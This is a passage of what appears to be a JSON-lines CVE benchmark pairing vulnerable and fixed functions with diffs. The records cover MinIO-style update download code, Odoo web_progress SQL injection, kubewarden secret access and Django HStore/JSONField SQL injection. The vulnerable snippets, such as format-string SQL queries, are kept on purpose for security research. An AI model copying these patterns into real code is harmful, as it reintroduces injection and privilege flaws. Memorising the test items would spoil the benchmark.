http.StatusServiceUnavailable,\n\t\t\t}\n\t\t}\n\t\treturn content, AdminError{\n\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\tMessage:    err.Error(),\n\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t}\n\t}\n\tif resp == nil {\n\t\treturn content, AdminError{\n\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\tMessage:    fmt.Sprintf(\"No response from server to download URL %s\", u),\n\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t}\n\t}\n\tdefer xhttp.DrainBody(resp.Body)\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn content, AdminError{\n\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\tMessage:    fmt.Sprintf(\"Error downloading URL %s. Response: %v\", u, resp.Status),\n\t\t\tStatusCode: resp.StatusCode,\n\t\t}\n\t}\n\n\tcontentBytes, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn content, AdminError{\n\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\tMessage:    fmt.Sprintf(\"Error reading response. %s\", err),\n\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t}\n\t}\n\n\treturn string(contentBytes), nil\n}"}], "vul_patch": "--- a/cmd/update.go\n+++ b/cmd/update.go\n@@ -1,61 +1,48 @@\n func downloadReleaseURL(u *url.URL, timeout time.Duration, mode string) (content string, err error) {\n-\tvar reader io.ReadCloser\n-\tif u.Scheme == \"https\" || u.Scheme == \"http\" {\n-\t\treq, err := http.NewRequest(http.MethodGet, u.String(), nil)\n-\t\tif err != nil {\n-\t\t\treturn content, AdminError{\n-\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n-\t\t\t\tMessage:    err.Error(),\n-\t\t\t\tStatusCode: http.StatusInternalServerError,\n-\t\t\t}\n+\treq, err := http.NewRequest(http.MethodGet, u.String(), nil)\n+\tif err != nil {\n+\t\treturn content, AdminError{\n+\t\t\tCode:       AdminUpdateUnexpectedFailure,\n+\t\t\tMessage:    err.Error(),\n+\t\t\tStatusCode: http.StatusInternalServerError,\n \t\t}\n-\t\treq.Header.Set(\"User-Agent\", getUserAgent(mode))\n+\t}\n+\treq.Header.Set(\"User-Agent\", getUserAgent(mode))\n \n-\t\tclient := &http.Client{Transport: getUpdateTransport(timeout)}\n-\t\tresp, err := client.Do(req)\n-\t\tif err != nil {\n-\t\t\tif xnet.IsNetworkOrHostDown(err, false) {\n-\t\t\t\treturn content, AdminError{\n-\t\t\t\t\tCode:       AdminUpdateURLNotReachable,\n-\t\t\t\t\tMessage:    err.Error(),\n-\t\t\t\t\tStatusCode: http.StatusServiceUnavailable,\n-\t\t\t\t}\n-\t\t\t}\n-\t\t\treturn content, AdminError{\n-\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n-\t\t\t\tMessage:    err.Error(),\n-\t\t\t\tStatusCode: http.StatusInternalServerError,\n-\t\t\t}\n-\t\t}\n-\t\tif resp == nil {\n-\t\t\treturn content, AdminError{\n-\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n-\t\t\t\tMessage:    fmt.Sprintf(\"No response from server to download URL %s\", u),\n-\t\t\t\tStatusCode: http.StatusInternalServerError,\n-\t\t\t}\n-\t\t}\n-\t\treader = resp.Body\n-\t\tdefer xhttp.DrainBody(resp.Body)\n-\n-\t\tif resp.StatusCode != http.StatusOK {\n-\t\t\treturn content, AdminError{\n-\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n-\t\t\t\tMessage:    fmt.Sprintf(\"Error downloading URL %s. Response: %v\", u, resp.Status),\n-\t\t\t\tStatusCode: resp.StatusCode,\n-\t\t\t}\n-\t\t}\n-\t} else {\n-\t\treader, err = os.Open(u.Path)\n-\t\tif err != nil {\n+\tclient := &http.Client{Transport: getUpdateTransport(timeout)}\n+\tresp, err := client.Do(req)\n+\tif err != nil {\n+\t\tif xnet.IsNetworkOrHostDown(err, false) {\n \t\t\treturn content, AdminError{\n \t\t\t\tCode:       AdminUpdateURLNotReachable,\n \t\t\t\tMessage:    err.Error(),\n \t\t\t\tStatusCode: http.StatusServiceUnavailable,\n \t\t\t}\n \t\t}\n+\t\treturn content, AdminError{\n+\t\t\tCode:       AdminUpdateUnexpectedFailure,\n+\t\t\tMessage:    err.Error(),\n+\t\t\tStatusCode: http.StatusInternalServerError,\n+\t\t}\n+\t}\n+\tif resp == nil {\n+\t\treturn content, AdminError{\n+\t\t\tCode:       AdminUpdateUnexpectedFailure,\n+\t\t\tMessage:    fmt.Sprintf(\"No response from server to download URL %s\", u),\n+\t\t\tStatusCode: http.StatusInternalServerError,\n+\t\t}\n+\t}\n+\tdefer xhttp.DrainBody(resp.Body)\n+\n+\tif resp.StatusCode != http.StatusOK {\n+\t\treturn content, AdminError{\n+\t\t\tCode:       AdminUpdateUnexpectedFailure,\n+\t\t\tMessage:    fmt.Sprintf(\"Error downloading URL %s. Response: %v\", u, resp.Status),\n+\t\t\tStatusCode: resp.StatusCode,\n+\t\t}\n \t}\n \n-\tcontentBytes, err := ioutil.ReadAll(reader)\n+\tcontentBytes, err := ioutil.ReadAll(resp.Body)\n \tif err != nil {\n \t\treturn content, AdminError{\n \t\t\tCode:       AdminUpdateUnexpectedFailure,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-40954", "cve_description": "A SQL injection vulnerability in Grzegorz Marczynski Dynamic Progress Bar (aka web_progress) v. 11.0 through 11.0.2, v12.0 through v12.0.2, v.13.0 through v13.0.2, v.14.0 through v14.0.2.1, v.15.0 through v15.0.2, and v16.0 through v16.0.2.1 allows a remote attacker to gain privileges via the recency parameter in models/web_progress.py component.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/gmarczynski/odoo-web-progress", "patch_url": ["https://github.com/gmarczynski/odoo-web-progress/commit/3c867f1cf7447449c81b1aa24ebb1f7ae757489f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_225_1", "commit": "bd2d5b3", "file_path": "web_progress/models/web_progress.py", "start_line": 160, "end_line": 183, "snippet": "    def get_all_progress(self, recency=_progress_period_secs * 2):\n        \"\"\"\n        Get progress information for all ongoing operations\n        :param recency: (int) seconds back\n        :return list of progress codes\n        \"\"\"\n        query = \"\"\"\n        SELECT code, array_agg(state) FROM web_progress\n        WHERE create_date > timezone('utc', now()) - INTERVAL '{recency} SECOND'\n              AND recur_depth = 0 {user_id}\n        GROUP BY code\n        \"\"\".format(\n            recency=recency or 0,\n            user_id=not self.is_progress_admin() and \"AND create_uid = {user_id}\"\n                .format(\n                user_id=self.env.user.id,\n            ) or '')\n        # superuser has right to see (and cancel) progress of everybody\n        self.env.cr.execute(query)\n        result = self.env.cr.fetchall()\n        ret = [{\n            'code': r[0],\n        } for r in result if r[0] and 'cancel' not in r[1] and 'done' not in r[1]]\n        return ret"}], "fix_func": [{"id": "fix_py_225_1", "commit": "3c867f1", "file_path": "web_progress/models/web_progress.py", "start_line": 160, "end_line": 183, "snippet": "    def get_all_progress(self, recency=_progress_period_secs * 2):\n        \"\"\"\n        Get progress information for all ongoing operations\n        :param recency: (int) seconds back\n        :return list of progress codes\n        \"\"\"\n        query = \"\"\"\n        SELECT code, array_agg(state) FROM web_progress\n        WHERE create_date > timezone('utc', now()) - INTERVAL '%s SECOND'\n              AND recur_depth = 0 {user_id}\n        GROUP BY code\n        \"\"\".format(\n            recency=recency or 0,\n            user_id=not self.is_progress_admin() and \"AND create_uid = {user_id}\"\n                .format(\n                user_id=self.env.user.id,\n            ) or '')\n        # superuser has right to see (and cancel) progress of everybody\n        self.env.cr.execute(query, (recency, ))\n        result = self.env.cr.fetchall()\n        ret = [{\n            'code': r[0],\n        } for r in result if r[0] and 'cancel' not in r[1] and 'done' not in r[1]]\n        return ret"}], "vul_patch": "--- a/web_progress/models/web_progress.py\n+++ b/web_progress/models/web_progress.py\n@@ -6,7 +6,7 @@\n         \"\"\"\n         query = \"\"\"\n         SELECT code, array_agg(state) FROM web_progress\n-        WHERE create_date > timezone('utc', now()) - INTERVAL '{recency} SECOND'\n+        WHERE create_date > timezone('utc', now()) - INTERVAL '%s SECOND'\n               AND recur_depth = 0 {user_id}\n         GROUP BY code\n         \"\"\".format(\n@@ -16,7 +16,7 @@\n                 user_id=self.env.user.id,\n             ) or '')\n         # superuser has right to see (and cancel) progress of everybody\n-        self.env.cr.execute(query)\n+        self.env.cr.execute(query, (recency, ))\n         result = self.env.cr.fetchall()\n         ret = [{\n             'code': r[0],\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-22645", "cve_description": "An Improper Privilege Management vulnerability in SUSE kubewarden allows attackers to read arbitrary secrets if they get access to the ServiceAccount kubewarden-controller This issue affects: SUSE kubewarden kubewarden-controller versions prior to 1.6.0.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/kubewarden/kubewarden-controller", "patch_url": ["https://github.com/kubewarden/kubewarden-controller/commit/f38cd0162aa77088377d8c064dcad6769f212204"], "programing_language": "Go", "vul_func": [{"id": "vul_go_168_1", "commit": "4c01c4a", "file_path": "main.go", "start_line": 63, "end_line": 215, "snippet": "func main() {\n\tretcode := 0\n\tdefer func() { os.Exit(retcode) }()\n\n\tvar metricsAddr string\n\tvar enableLeaderElection bool\n\tvar deploymentsNamespace string\n\tvar alwaysAcceptAdmissionReviewsOnDeploymentsNamespace bool\n\tvar probeAddr string\n\tvar enableMetrics bool\n\tvar openTelemetryEndpoint string\n\tflag.StringVar(&metricsAddr, \"metrics-bind-address\", \":8088\", \"The address the metric endpoint binds to.\")\n\tflag.StringVar(&probeAddr, \"health-probe-bind-address\", \":8081\", \"The address the probe endpoint binds to.\")\n\tflag.BoolVar(&enableLeaderElection, \"leader-elect\", false,\n\t\t\"Enable leader election for controller manager. \"+\n\t\t\t\"Enabling this will ensure there is only one active controller manager.\")\n\tflag.BoolVar(&enableMetrics, \"enable-metrics\", false,\n\t\t\"Enable metrics collection about policy server and cluster admission policies\")\n\tflag.StringVar(&openTelemetryEndpoint, \"opentelemetry-endpoint\", \"127.0.0.1:4317\", \"The OpenTelemetry connection endpoint\")\n\tflag.StringVar(&constants.DefaultPolicyServer, \"default-policy-server\", \"\", \"The default policy server to set on policies before they are persisted\")\n\topts := zap.Options{\n\t\tDevelopment: true,\n\t}\n\tflag.StringVar(&deploymentsNamespace,\n\t\t\"deployments-namespace\",\n\t\t\"\",\n\t\t\"The namespace where the kubewarden resources will be created.\")\n\tflag.BoolVar(&alwaysAcceptAdmissionReviewsOnDeploymentsNamespace,\n\t\t\"always-accept-admission-reviews-on-deployments-namespace\",\n\t\tfalse,\n\t\t\"Always accept admission reviews targeting the deployments-namespace.\")\n\topts.BindFlags(flag.CommandLine)\n\tflag.Parse()\n\tctrl.SetLogger(zap.New(zap.UseFlagOptions(&opts)))\n\n\tenvironment := readEnvironment()\n\n\tif deploymentsNamespace == \"\" {\n\t\tdeploymentsNamespace = environment.deploymentsNamespace\n\t}\n\n\tif enableMetrics {\n\t\tshutdown, err := metrics.New(openTelemetryEndpoint)\n\t\tif err != nil {\n\t\t\tsetupLog.Error(err, \"unable to initialize metrics provider\")\n\t\t\tretcode = 1\n\t\t\treturn\n\t\t}\n\t\tsetupLog.Info(\"Metrics initialized\")\n\n\t\t// cleanly shutdown and flush telemetry on application exit\n\t\tdefer func() {\n\t\t\t// Do not make the application hang when it is shutdown.\n\t\t\tctx, cancel := context.WithTimeout(context.Background(), time.Second*5)\n\t\t\tdefer cancel()\n\n\t\t\tif err := shutdown(ctx); err != nil {\n\t\t\t\tsetupLog.Error(err, \"Unable to shutdown telemetry\")\n\t\t\t\tretcode = 1\n\t\t\t\treturn\n\t\t\t}\n\t\t}()\n\t}\n\n\tmgr, err := webhookwrapper.NewManager(\n\t\tctrl.Options{\n\t\t\tScheme:                 scheme,\n\t\t\tMetricsBindAddress:     metricsAddr,\n\t\t\tHost:                   environment.webhookHostListen,\n\t\t\tPort:                   9443,\n\t\t\tHealthProbeBindAddress: probeAddr,\n\t\t\tLeaderElection:         enableLeaderElection,\n\t\t\tLeaderElectionID:       \"a4ddbf36.kubewarden.io\",\n\t\t\tClientDisableCacheFor:  []client.Object{&corev1.ConfigMap{}, &appsv1.Deployment{}},\n\t\t\t// Watch for kubewarden namespace on namespaced resources:\n\t\t\t// Note: If a namespace is specified, controllers can still Watch for a\n\t\t\t// cluster-scoped resource (in our case, ClusterAdmissionPolicies,\n\t\t\t// webhooks, etc). For namespaced resources, the cache will only\n\t\t\t// hold objects from the desired namespace.\n\t\t\tNamespace: deploymentsNamespace,\n\t\t},\n\t\tsetupLog,\n\t\tenvironment.developmentMode,\n\t\tenvironment.webhookHostAdvertise,\n\t\twebhooks(),\n\t)\n\tif err != nil {\n\t\tsetupLog.Error(err, \"unable to start manager\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\treconciler := admission.Reconciler{\n\t\tClient:               mgr.GetClient(),\n\t\tAPIReader:            mgr.GetAPIReader(),\n\t\tLog:                  ctrl.Log.WithName(\"reconciler\"),\n\t\tDeploymentsNamespace: deploymentsNamespace,\n\t\tAlwaysAcceptAdmissionReviewsInDeploymentsNamespace: alwaysAcceptAdmissionReviewsOnDeploymentsNamespace,\n\t}\n\n\tif err = (&controllers.PolicyServerReconciler{\n\t\tClient:     mgr.GetClient(),\n\t\tScheme:     mgr.GetScheme(),\n\t\tLog:        ctrl.Log.WithName(\"policy-server-reconciler\"),\n\t\tReconciler: reconciler,\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"PolicyServer\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\tif err = (&controllers.AdmissionPolicyReconciler{\n\t\tClient:     mgr.GetClient(),\n\t\tScheme:     mgr.GetScheme(),\n\t\tLog:        ctrl.Log.WithName(\"admission-policy-reconciler\"),\n\t\tReconciler: reconciler,\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"AdmissionPolicy\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\tif err = (&controllers.ClusterAdmissionPolicyReconciler{\n\t\tClient:     mgr.GetClient(),\n\t\tScheme:     mgr.GetScheme(),\n\t\tLog:        ctrl.Log.WithName(\"cluster-admission-policy-reconciler\"),\n\t\tReconciler: reconciler,\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"ClusterAdmissionPolicy\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\t//+kubebuilder:scaffold:builder\n\n\tif err := mgr.AddHealthzCheck(\"healthz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up health check\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\tif err := mgr.AddReadyzCheck(\"readyz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up ready check\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\tsetupLog.Info(\"starting manager\")\n\tif err := mgr.Start(ctrl.SetupSignalHandler()); err != nil {\n\t\tsetupLog.Error(err, \"problem running manager\")\n\t\tretcode = 1\n\t\treturn\n\t}\n}"}], "fix_func": [{"id": "fix_go_168_1", "commit": "f38cd01", "file_path": "main.go", "start_line": 66, "end_line": 252, "snippet": "func main() {\n\tretcode := 0\n\tdefer func() { os.Exit(retcode) }()\n\n\tvar metricsAddr string\n\tvar enableLeaderElection bool\n\tvar deploymentsNamespace string\n\tvar alwaysAcceptAdmissionReviewsOnDeploymentsNamespace bool\n\tvar probeAddr string\n\tvar enableMetrics bool\n\tvar openTelemetryEndpoint string\n\tflag.StringVar(&metricsAddr, \"metrics-bind-address\", \":8088\", \"The address the metric endpoint binds to.\")\n\tflag.StringVar(&probeAddr, \"health-probe-bind-address\", \":8081\", \"The address the probe endpoint binds to.\")\n\tflag.BoolVar(&enableLeaderElection, \"leader-elect\", false,\n\t\t\"Enable leader election for controller manager. \"+\n\t\t\t\"Enabling this will ensure there is only one active controller manager.\")\n\tflag.BoolVar(&enableMetrics, \"enable-metrics\", false,\n\t\t\"Enable metrics collection about policy server and cluster admission policies\")\n\tflag.StringVar(&openTelemetryEndpoint, \"opentelemetry-endpoint\", \"127.0.0.1:4317\", \"The OpenTelemetry connection endpoint\")\n\tflag.StringVar(&constants.DefaultPolicyServer, \"default-policy-server\", \"\", \"The default policy server to set on policies before they are persisted\")\n\topts := zap.Options{\n\t\tDevelopment: true,\n\t}\n\tflag.StringVar(&deploymentsNamespace,\n\t\t\"deployments-namespace\",\n\t\t\"\",\n\t\t\"The namespace where the kubewarden resources will be created.\")\n\tflag.BoolVar(&alwaysAcceptAdmissionReviewsOnDeploymentsNamespace,\n\t\t\"always-accept-admission-reviews-on-deployments-namespace\",\n\t\tfalse,\n\t\t\"Always accept admission reviews targeting the deployments-namespace.\")\n\topts.BindFlags(flag.CommandLine)\n\tflag.Parse()\n\tctrl.SetLogger(zap.New(zap.UseFlagOptions(&opts)))\n\n\tenvironment := readEnvironment()\n\n\tif deploymentsNamespace == \"\" {\n\t\tdeploymentsNamespace = environment.deploymentsNamespace\n\t}\n\n\tif enableMetrics {\n\t\tshutdown, err := metrics.New(openTelemetryEndpoint)\n\t\tif err != nil {\n\t\t\tsetupLog.Error(err, \"unable to initialize metrics provider\")\n\t\t\tretcode = 1\n\t\t\treturn\n\t\t}\n\t\tsetupLog.Info(\"Metrics initialized\")\n\n\t\t// cleanly shutdown and flush telemetry on application exit\n\t\tdefer func() {\n\t\t\t// Do not make the application hang when it is shutdown.\n\t\t\tctx, cancel := context.WithTimeout(context.Background(), time.Second*5)\n\t\t\tdefer cancel()\n\n\t\t\tif err := shutdown(ctx); err != nil {\n\t\t\t\tsetupLog.Error(err, \"Unable to shutdown telemetry\")\n\t\t\t\tretcode = 1\n\t\t\t\treturn\n\t\t\t}\n\t\t}()\n\t}\n\n\tnamespaceSelector := cache.ObjectSelector{\n\t\tField: fields.ParseSelectorOrDie(fmt.Sprintf(\"metadata.namespace=%s\", deploymentsNamespace)),\n\t}\n\n\tmgr, err := webhookwrapper.NewManager(\n\t\tctrl.Options{\n\t\t\tScheme:                 scheme,\n\t\t\tMetricsBindAddress:     metricsAddr,\n\t\t\tHost:                   environment.webhookHostListen,\n\t\t\tPort:                   9443,\n\t\t\tHealthProbeBindAddress: probeAddr,\n\t\t\tLeaderElection:         enableLeaderElection,\n\t\t\tLeaderElectionID:       \"a4ddbf36.kubewarden.io\",\n\t\t\t// Warning: the manager creates a client, which then uses Watches to monitor\n\t\t\t// certain resources. By default, the client is not going to be namespaced,\n\t\t\t// it will be able to watch resources across the entire cluster. This is of\n\t\t\t// course constrained by the RBAC rules applied to the ServiceAccount that\n\t\t\t// runs the controller.\n\t\t\t// **However**, even when accessing a resource inside of a specific Namespace,\n\t\t\t// the default behaviour of the cache is to create a Watch that is not namespaced;\n\t\t\t// hence requires the privilege to access all the resources of that type inside\n\t\t\t// of the cluster. That can cause runtime error if the ServiceAccount lacking\n\t\t\t// this privilege.\n\t\t\t// For example, when we access a secret inside the `kubewarden`\n\t\t\t// namespace, the cache will create a Watch against Secrets, that will require\n\t\t\t// privileged to acccess ALL the secrets of the cluster.\n\t\t\t//\n\t\t\t// To be able to have stricter RBAC rules, we need to instruct the cache to\n\t\t\t// only watch objects inside of the namespace where the controller is running.\n\t\t\t// That applies ONLY to the namespaced resources that we know the controller\n\t\t\t// is going to own inside of a specific namespace.\n\t\t\t// For example, Secret resources are going to be defined by the controller\n\t\t\t// only inside of the `kubewarden` namespace; hence their watch can be namespaced.\n\t\t\t// On the other hand, AdmissionPolicy resources are namespaced, but the controller\n\t\t\t// requires to access them across all the namespaces of the cluster; hence the\n\t\t\t// cache must not be namespaced.\n\t\t\tNewCache: cache.BuilderWithOptions(cache.Options{\n\t\t\t\tSelectorsByObject: map[client.Object]cache.ObjectSelector{\n\t\t\t\t\t&appsv1.ReplicaSet{}: namespaceSelector,\n\t\t\t\t\t&corev1.Secret{}:     namespaceSelector,\n\t\t\t\t\t&corev1.Pod{}:        namespaceSelector,\n\t\t\t\t\t&corev1.Service{}:    namespaceSelector,\n\t\t\t\t},\n\t\t\t}),\n\t\t\t// These types of resources should never be cached because we need fresh\n\t\t\t// data coming from the cliet. This is required to perform the rollout\n\t\t\t// of the PolicyServer Deployment whenever a policy is added/changed/removed.\n\t\t\t// Because of that, there's not need to scope these resources inside\n\t\t\t// of the cache, like we did for Pods, Services,... right above.\n\t\t\tClientDisableCacheFor: []client.Object{&corev1.ConfigMap{}, &appsv1.Deployment{}},\n\t\t},\n\t\tsetupLog,\n\t\tenvironment.developmentMode,\n\t\tenvironment.webhookHostAdvertise,\n\t\twebhooks(),\n\t)\n\tif err != nil {\n\t\tsetupLog.Error(err, \"unable to start manager\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\treconciler := admission.Reconciler{\n\t\tClient:               mgr.GetClient(),\n\t\tAPIReader:            mgr.GetAPIReader(),\n\t\tLog:                  ctrl.Log.WithName(\"reconciler\"),\n\t\tDeploymentsNamespace: deploymentsNamespace,\n\t\tAlwaysAcceptAdmissionReviewsInDeploymentsNamespace: alwaysAcceptAdmissionReviewsOnDeploymentsNamespace,\n\t}\n\n\tif err = (&controllers.PolicyServerReconciler{\n\t\tClient:     mgr.GetClient(),\n\t\tScheme:     mgr.GetScheme(),\n\t\tLog:        ctrl.Log.WithName(\"policy-server-reconciler\"),\n\t\tReconciler: reconciler,\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"PolicyServer\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\tif err = (&controllers.AdmissionPolicyReconciler{\n\t\tClient:     mgr.GetClient(),\n\t\tScheme:     mgr.GetScheme(),\n\t\tLog:        ctrl.Log.WithName(\"admission-policy-reconciler\"),\n\t\tReconciler: reconciler,\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"AdmissionPolicy\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\tif err = (&controllers.ClusterAdmissionPolicyReconciler{\n\t\tClient:     mgr.GetClient(),\n\t\tScheme:     mgr.GetScheme(),\n\t\tLog:        ctrl.Log.WithName(\"cluster-admission-policy-reconciler\"),\n\t\tReconciler: reconciler,\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"ClusterAdmissionPolicy\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\t//+kubebuilder:scaffold:builder\n\n\tif err := mgr.AddHealthzCheck(\"healthz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up health check\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\tif err := mgr.AddReadyzCheck(\"readyz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up ready check\")\n\t\tretcode = 1\n\t\treturn\n\t}\n\n\tsetupLog.Info(\"starting manager\")\n\tif err := mgr.Start(ctrl.SetupSignalHandler()); err != nil {\n\t\tsetupLog.Error(err, \"problem running manager\")\n\t\tretcode = 1\n\t\treturn\n\t}\n}"}], "vul_patch": "--- a/main.go\n+++ b/main.go\n@@ -62,6 +62,10 @@\n \t\t}()\n \t}\n \n+\tnamespaceSelector := cache.ObjectSelector{\n+\t\tField: fields.ParseSelectorOrDie(fmt.Sprintf(\"metadata.namespace=%s\", deploymentsNamespace)),\n+\t}\n+\n \tmgr, err := webhookwrapper.NewManager(\n \t\tctrl.Options{\n \t\t\tScheme:                 scheme,\n@@ -71,13 +75,43 @@\n \t\t\tHealthProbeBindAddress: probeAddr,\n \t\t\tLeaderElection:         enableLeaderElection,\n \t\t\tLeaderElectionID:       \"a4ddbf36.kubewarden.io\",\n-\t\t\tClientDisableCacheFor:  []client.Object{&corev1.ConfigMap{}, &appsv1.Deployment{}},\n-\t\t\t// Watch for kubewarden namespace on namespaced resources:\n-\t\t\t// Note: If a namespace is specified, controllers can still Watch for a\n-\t\t\t// cluster-scoped resource (in our case, ClusterAdmissionPolicies,\n-\t\t\t// webhooks, etc). For namespaced resources, the cache will only\n-\t\t\t// hold objects from the desired namespace.\n-\t\t\tNamespace: deploymentsNamespace,\n+\t\t\t// Warning: the manager creates a client, which then uses Watches to monitor\n+\t\t\t// certain resources. By default, the client is not going to be namespaced,\n+\t\t\t// it will be able to watch resources across the entire cluster. This is of\n+\t\t\t// course constrained by the RBAC rules applied to the ServiceAccount that\n+\t\t\t// runs the controller.\n+\t\t\t// **However**, even when accessing a resource inside of a specific Namespace,\n+\t\t\t// the default behaviour of the cache is to create a Watch that is not namespaced;\n+\t\t\t// hence requires the privilege to access all the resources of that type inside\n+\t\t\t// of the cluster. That can cause runtime error if the ServiceAccount lacking\n+\t\t\t// this privilege.\n+\t\t\t// For example, when we access a secret inside the `kubewarden`\n+\t\t\t// namespace, the cache will create a Watch against Secrets, that will require\n+\t\t\t// privileged to acccess ALL the secrets of the cluster.\n+\t\t\t//\n+\t\t\t// To be able to have stricter RBAC rules, we need to instruct the cache to\n+\t\t\t// only watch objects inside of the namespace where the controller is running.\n+\t\t\t// That applies ONLY to the namespaced resources that we know the controller\n+\t\t\t// is going to own inside of a specific namespace.\n+\t\t\t// For example, Secret resources are going to be defined by the controller\n+\t\t\t// only inside of the `kubewarden` namespace; hence their watch can be namespaced.\n+\t\t\t// On the other hand, AdmissionPolicy resources are namespaced, but the controller\n+\t\t\t// requires to access them across all the namespaces of the cluster; hence the\n+\t\t\t// cache must not be namespaced.\n+\t\t\tNewCache: cache.BuilderWithOptions(cache.Options{\n+\t\t\t\tSelectorsByObject: map[client.Object]cache.ObjectSelector{\n+\t\t\t\t\t&appsv1.ReplicaSet{}: namespaceSelector,\n+\t\t\t\t\t&corev1.Secret{}:     namespaceSelector,\n+\t\t\t\t\t&corev1.Pod{}:        namespaceSelector,\n+\t\t\t\t\t&corev1.Service{}:    namespaceSelector,\n+\t\t\t\t},\n+\t\t\t}),\n+\t\t\t// These types of resources should never be cached because we need fresh\n+\t\t\t// data coming from the cliet. This is required to perform the rollout\n+\t\t\t// of the PolicyServer Deployment whenever a policy is added/changed/removed.\n+\t\t\t// Because of that, there's not need to scope these resources inside\n+\t\t\t// of the cache, like we did for Pods, Services,... right above.\n+\t\t\tClientDisableCacheFor: []client.Object{&corev1.ConfigMap{}, &appsv1.Deployment{}},\n \t\t},\n \t\tsetupLog,\n \t\tenvironment.developmentMode,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-14234", "cve_description": "An issue was discovered in Django 1.11.x before 1.11.23, 2.1.x before 2.1.11, and 2.2.x before 2.2.4. Due to an error in shallow key transformation, key and index lookups for django.contrib.postgres.fields.JSONField, and key lookups for django.contrib.postgres.fields.HStoreField, were subject to SQL injection. This could, for example, be exploited via crafted use of \"OR 1=1\" in a key or index name to return all records, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to the QuerySet.filter() function.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/ed682a24fca774818542757651bfba576c3fc3ef", "https://github.com/django/django/commit/4f5b58f5cd3c57fee9972ab074f8dc6895d8f387", "https://github.com/django/django/commit/f74b3ae3628c26e1b4f8db3d13a91d52a833a975"], "programing_language": "Python", "vul_func": [{"id": "vul_py_151_1", "commit": "52479ac", "file_path": "django/contrib/postgres/fields/hstore.py", "start_line": 87, "end_line": 89, "snippet": "    def as_sql(self, compiler, connection):\n        lhs, params = compiler.compile(self.lhs)\n        return \"(%s -> '%s')\" % (lhs, self.key_name), params"}, {"id": "vul_py_151_2", "commit": "52479ac", "file_path": "django/contrib/postgres/fields/hstore.py", "start_line": 97, "end_line": 112, "snippet": "    def __call__(self, *args, **kwargs):\n        return KeyTransform(self.key_name, *args, **kwargs)\n\n\n@HStoreField.register_lookup\nclass KeysTransform(Transform):\n    lookup_name = 'keys'\n    function = 'akeys'\n    output_field = ArrayField(TextField())\n\n\n@HStoreField.register_lookup\nclass ValuesTransform(Transform):\n    lookup_name = 'values'\n    function = 'avals'\n    output_field = ArrayField(TextField())"}], "fix_func": [{"id": "fix_py_151_1", "commit": "ed682a2", "file_path": "django/contrib/postgres/fields/hstore.py", "start_line": 87, "end_line": 89, "snippet": "    def as_sql(self, compiler, connection):\n        lhs, params = compiler.compile(self.lhs)\n        return '(%s -> %%s)' % lhs, [self.key_name] + params"}, {"id": "fix_py_151_2", "commit": "ed682a2", "file_path": "django/contrib/postgres/fields/hstore.py", "start_line": 97, "end_line": 110, "snippet": "    def __call__(self, *args, **kwargs):\n        return KeyTransform(self.key_name, *args, **kwargs)\n\n\n@HStoreField.register_lookup\nclass KeysTransform(Transform):\n    lookup_name = 'keys'\n    function = 'akeys'\n    output_field = 